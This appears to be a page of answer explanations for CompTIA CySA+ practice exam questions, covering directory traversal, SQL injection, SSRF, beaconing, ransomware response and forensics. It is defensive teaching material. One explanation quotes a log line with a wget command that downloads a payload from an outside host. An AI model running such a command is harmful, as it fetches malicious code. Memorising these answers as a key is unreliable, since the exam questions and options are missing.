CS0-003 CompTIA CyberSecurity Analyst CySA+ Certification Exam Free Practice Exam Questions (2026 Updated)

A security analyst’s concern is that any discovered vulnerabilities in the OS that is approaching the end-of-life date will not be remediated by the vendor, leaving the system exposed to potential attacks. The other options are not directly related to the security analyst’s role or responsibility. Verified References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives, page 9, section 2.21

Header analysis is the technique of examining the metadata of an email, such as the sender, recipient, date, subject, and routing information. It can help to identify the source of a malicious email by revealing the IP address and domain name of the originator, as well as any spoofing or redirection attempts. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 6, page 240; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 6, page 249.

The best action that the SOC manager can recommend to help ensure new employees are accountable for following the company policy is to require all new employees to sign a user agreement to acknowledge the company security policy. A user agreement is a document that defines the rights and responsibilities of the users regarding the use of the company’s systems, networks, or resources, as well as the consequences of violating the company’s security policy. Signing a user agreement can help ensure new employees are aware of and agree to comply with the company security policy, as well as hold them accountable for any breaches or incidents caused by their actions or inactions.

The snippet shows an attempt to access the boot.ini file, which is a configuration file for Windows operating systems. The “… \ … /” pattern is used to navigate up the directory structure and reach the root directory, where the boot.ini file is located. This is a common technique for exploiting directory traversal vulnerabilities, which allow an attacker to access files and directories outside the intended web server path. The other options are not relevant for this purpose: remote file inclusion involves injecting a malicious file into a web application; cross-site scripting involves injecting malicious scripts into a web page; remote code execution involves executing arbitrary commands on a remote system; enumeration of /etc/passwd involves accessing the file that stores user information on Linux systems.

Application security scanning is a process that involves testing and analyzing applications for security vulnerabilities, such as injection flaws, broken authentication, cross-site scripting, and insecure configuration. Application security scanning can help identify and fix security issues before they become exploitable by attackers. Using application security scanning as part of the pipeline for the continuous integration/continuous delivery (CI/CD) flow can help mitigate the problem of finding the same vulnerabilities in a critical application during security scanning. This is because application security scanning can be integrated into the development lifecycle and performed automatically and frequently as part of the CI/CD process.

This answer matches the description of the zero-day threat. The attack vector is network (AV:N), the attack complexity is low (AC:L), no privileges are required (PR:N), no user interaction is required (UI:N), the scope is unchanged (S:U), the confidentiality and integrity impacts are high (C:H/I:H), and the availability impact is low (A:L). Official References: https://nvd.nist.gov/vuln-metrics/cvss

Beaconing is the best term to describe the activity that is taking place, as it refers to the periodic communication between an infected host and a blocklisted external server. Beaconing is a common technique used by malware to establish a connection with a command-and-control (C2) server, which can provide instructions, updates, or exfiltration capabilities to the malware. Beaconing can vary in frequency, duration, and payload, depending on the type and sophistication of the malware. The other terms are not as accurate as beaconing, as they describe different aspects of malicious activity. Data exfiltration is the unauthorized transfer of data from a compromised system to an external destination, such as a C2 server or a cloud storage service. Data exfiltration can be a goal or a consequence of malware infection, but it does not necessarily involve blocklisted servers or consistent requests. Rogue device is a device that is connected to a network without authorization or proper security controls. Rogue devices can pose a security risk, as they can introduce malware, bypass firewalls, or access sensitive data. However, rogue devices are not necessarily infected with malware or communicating with blocklisted servers. Scanning is the process of probing a network or a system for vulnerabilities, open ports, services, or other information. Scanning can be performed by legitimate administrators or malicious actors, depending on the intent and authorization. Scanning does not imply consistent requests or blocklisted servers, as it can target any network or system.

Compensating controls are alternative controls that provide a similar level of protection as the original controls, but are used when the original controls are not feasible or cost-effective. In this case, the CISO implemented compensating controls by reviewing logs and audit trails to mitigate the risk of error and fraud in payroll management, since segregating duties was not possible due to the small staff size

The log output indicates an attempt to execute a command via an unsecured service account, specifically using a wget command to download a file from an external source. This suggests that the adversary is trying to exploit a vulnerability in the web server to run unauthorized commands, which is a common technique for gaining a foothold or further compromising the system. The presence of wget http://grohl.ve.da/tmp/brkgtr.zip indicates an attempt to download and possibly execute a malicious payload.

Under the terms of PCI DSS, an organization that has experienced a breach of customer transactions should report the breach to the card issuer. The card issuer is the financial institution that issues the payment cards to the customers and that is responsible for authorizing and processing the transactions. The card issuer may have specific reporting requirements and procedures for the organization to follow in the event of a breach. The organization should also notify other parties that may be affected by the breach, such as customers, law enforcement, or regulators, depending on the nature and scope of the breach. Official References: https://www.pcisecuritystandards.org/

The code snippet provided suggests an SQL injection vulnerability, indicated by the use of " 1=1, " which is a common SQL injection technique to bypass authentication. To mitigate this risk, validating user input is the most effective control, as it ensures that any input is properly sanitized and escapes potentially malicious characters before interacting with the database. This is a key principle from CompTIA Security+ guidelines on secure coding practices. Options A and B are unrelated to the vulnerability type here, and while access control (Option C) is generally good practice, it does not specifically prevent SQL injection.

The correct answer is Business Continuity Plan (BCP) because the question specifically asks for the document that ensures services remain available (operational) during or in the event of an incident.

Business Continuity Plan (BCP): This is the overarching plan focused on keeping the business running. It identifies mission-critical functions and outlines the procedures (such as failover to a hot site, manual workarounds, or redundant systems) to ensure those services are available to customers and users despite the incident. Its primary goal is availability and continuity of operations.

Disaster Recovery Plan (DRP): This focuses on the technical restoration of IT systems after they have failed or been disrupted. While DRP supports BCP, its specific goal is " recovery " (getting systems back up) rather than " continuity " (keeping them from going down or maintaining service levels).

B. Vulnerability management plan: This is a proactive process for identifying and patching weaknesses to prevent attacks, not a reactive plan to ensure availability during an active incident.

C. Disaster recovery plan: As noted above, this is a subset of BCP focused on restoring data and infrastructure after a failure, whereas BCP focuses on maintaining the availability of the critical service itself.

D. Asset management plan: This tracks hardware and software inventory but does not define procedures for maintaining availability during a crisis.

The malicious activity that was most likely attempted is SSRF (Server-Side Request Forgery). This is a type of attack that exploits a vulnerable web application to make requests to other resources on behalf of the web server. In this case, the attacker tried to use the fopen function to access the local loopback address (127.0.0.1) on port 16, which could be a service that is not intended to be exposed to the public. The connection was refused, indicating that the port was closed or filtered. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 2: Software and Application Security, page 66.

Quarantining the server is the best action to perform immediately, as it isolates the affected server from the rest of the network and prevents the ransomware from spreading to other systems or data. Quarantining the server also preserves the evidence of the ransomware attack, which can be useful for forensic analysis and law enforcement investigation. The other actions are not as urgent as quarantining the server, as they may not stop the ransomware infection, or they may destroy valuable evidence. Shutting down the server may not remove the ransomware, and it may trigger a data deletion mechanism by the ransomware. Reimaging the server may restore its functionality, but it will also erase any traces of the ransomware and make recovery of encrypted data impossible. Updating the OS to the latest version may fix some vulnerabilities, but it will not remove the ransomware or decrypt the data. Official References:

https://www.cisa.gov/stopransomware/ransomware-guide

https://www.cisa.gov/sites/default/files/publications/Ransomware_Executive_One-Pager_and_Technical_Document-FINAL.pdf

https://www.cisa.gov/stopransomware/ive-been-hit-ransomware

Comprehensive and Detailed Step-by-Step Explanation:Network segmentation supports zero-trust principles by ensuring sensitive systems are isolated and access is restricted based on identity, role, and context. Unlike traditional models, zero-trust architecture does not automatically trust authenticated users or internal network traffic. It enforces strict access controls to minimize risk.

In digital forensics, a write blocker is a critical tool used to prevent any modifications to the source drive during imaging. When a forensic image is created, it should be an exact bit-for-bit copy of the original evidence. If a write blocker is not used, system processes or other unintended changes can alter the contents of the drive, leading to a hash mismatch between the original and the image copy​.

Chain of custody (Option A)ensures proper documentation of who accessed the evidence, but it does not directly affect the hash values.

Legal authorization (Option B)is necessary but unrelated to the technical integrity of the image.

Data integrity verification (Option C)is part of the process, but in this scenario, the failure to maintain integrity stems from the lack of a write blocker​.

Thus, the correct answer isD, as using a write blocker would have prevented any unintended changes to the data​.

Cloud-specific misconfigurations are security issues that arise from improper or inadequate configuration of cloud resources, such as storage buckets, databases, virtual machines, or containers. Cloud-specific misconfigurations may not be detected by the current scanners that are designed for on-premises environments, as they may not have the visibility or access to the cloud resources or the cloud provider’s APIs. Therefore, one of the implications that should be considered on the new hybrid environment is that cloud-specific misconfigurations may not be detected by the current scanners.

The lessons-learned register is an essential document that captures insights and feedback from past exercises or incidents, highlighting what went well and what did not. By utilizing this register, the SOC manager can identify specific areas for improvement and develop actionable steps to enhance future response efforts. According to CompTIA’s CySA+ and Security+ guidance, lessons learned fromtabletop exercises are crucial for iterative improvements in an incident response plan. Options A, B, and C are useful resources, but the lessons-learned register specifically focuses on reflection and improvement, which is the primary objective in this context.